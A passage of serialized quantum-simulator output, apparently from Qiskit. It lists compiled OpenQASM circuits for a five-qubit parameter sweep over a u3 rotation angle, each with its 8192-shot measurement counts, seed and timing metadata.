q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1265', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 84415585, 'status': 'DONE', 'data': {'counts': {'0x3': 323, '0x1': 1727, '0x0': 2377, '0x2': 3765}}, 'success': True, 'shots': 8192, 'time_taken': 0.442120206, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1267', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 470601627, 'status': 'DONE', 'data': {'counts': {'0x3': 242, '0x1': 1797, '0x0': 2258, '0x2': 3895}}, 'success': True, 'shots': 8192, 'time_taken': 0.436049856, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1269', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 58093262, 'status': 'DONE', 'data': {'counts': {'0x3': 200, '0x1': 1866, '0x0': 2238, '0x2': 3888}}, 'success': True, 'shots': 8192, 'time_taken': 0.44158975800000005, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1271', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 2938479717, 'status': 'DONE', 'data': {'counts': {'0x3': 133, '0x1': 1886, '0x0': 2203, '0x2': 3970}}, 'success': True, 'shots': 8192, 'time_taken': 0.45490200000000003, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1273', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 3534451965, 'status': 'DONE', 'data': {'counts': {'0x3': 83, '0x1': 1989, '0x0': 2026, '0x2': 4094}}, 'success': True, 'shots': 8192, 'time_taken': 0.440331615, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1275', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 555794860, 'status': 'DONE', 'data': {'counts': {'0x3': 57, '0x1': 1927, '0x0': 2038, '0x2': 4170}}, 'success': True, 'shots': 8192, 'time_taken': 0.436553032, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1277', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 977234919, 'status': 'DONE', 'data': {'counts': {'0x3': 22, '0x1': 2014, '0x0': 2087, '0x2': 4069}}, 'success': True, 'shots': 8192, 'time_taken': 0.44051937500000005, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1279', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 3580627989, 'status': 'DONE', 'data': {'counts': {'0x3': 6, '0x1': 2026, '0x0': 2111, '0x2': 4049}}, 'success': True, 'shots': 8192, 'time_taken': 0.443556043, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1281', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 1143251371, 'status': 'DONE', 'data': {'counts': {'0x3': 1, '0x1': 2081, '0x0': 2032, '0x2': 4078}}, 'success': True, 'shots': 8192, 'time_taken': 0.448175608, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1283', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 6223307, 'status': 'DONE', 'data': {'counts': {'0x3': 1, '0x1': 2042, '0x0': 2077, '0x2': 4072}}, 'success': True, 'shots': 8192, 'time_taken': 0.437395199, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1285', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 178778259, 'status': 'DONE', 'data': {'counts': {'0x3': 13, '0x1': 1980, '0x0': 2124, '0x2': 4075}}, 'success': True, 'shots': 8192, 'time_taken': 0.435511747, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1287', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 3077665782, 'status': 'DONE', 'data': {'counts': {'0x3': 41, '0x1': 2075, '0x0': 2065, '0x2': 4011}}, 'success': True, 'shots': 8192, 'time_taken': 0.44551838200000005, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1289', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 2825620118, 'status': 'DONE', 'data': {'counts': {'0x3': 79, '0x1': 1928, '0x0': 2063, '0x2': 4122}}, 'success': True, 'shots': 8192, 'time_taken': 0.44564487100000005, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.20000000000000,-pi/2,pi/2) 